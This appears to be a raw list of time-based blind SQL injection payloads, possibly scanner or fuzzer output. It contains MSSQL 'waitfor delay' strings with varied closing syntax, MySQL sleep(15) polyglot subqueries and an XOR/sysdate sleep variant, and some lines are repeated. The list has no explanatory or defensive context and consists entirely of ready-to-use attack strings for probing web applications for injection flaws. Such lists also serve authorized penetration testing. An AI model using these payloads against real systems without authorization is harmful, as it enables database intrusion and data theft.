555-1)); waitfor delay '0:0:15' --

555-1 waitfor delay '0:0:15' --

555-1); waitfor delay '0:0:15' --

555-1)); waitfor delay '0:0:15' --

555-1; waitfor delay '0:0:15' --

555-1); waitfor delay '0:0:15' --

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

555-1; waitfor delay '0:0:15' --

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/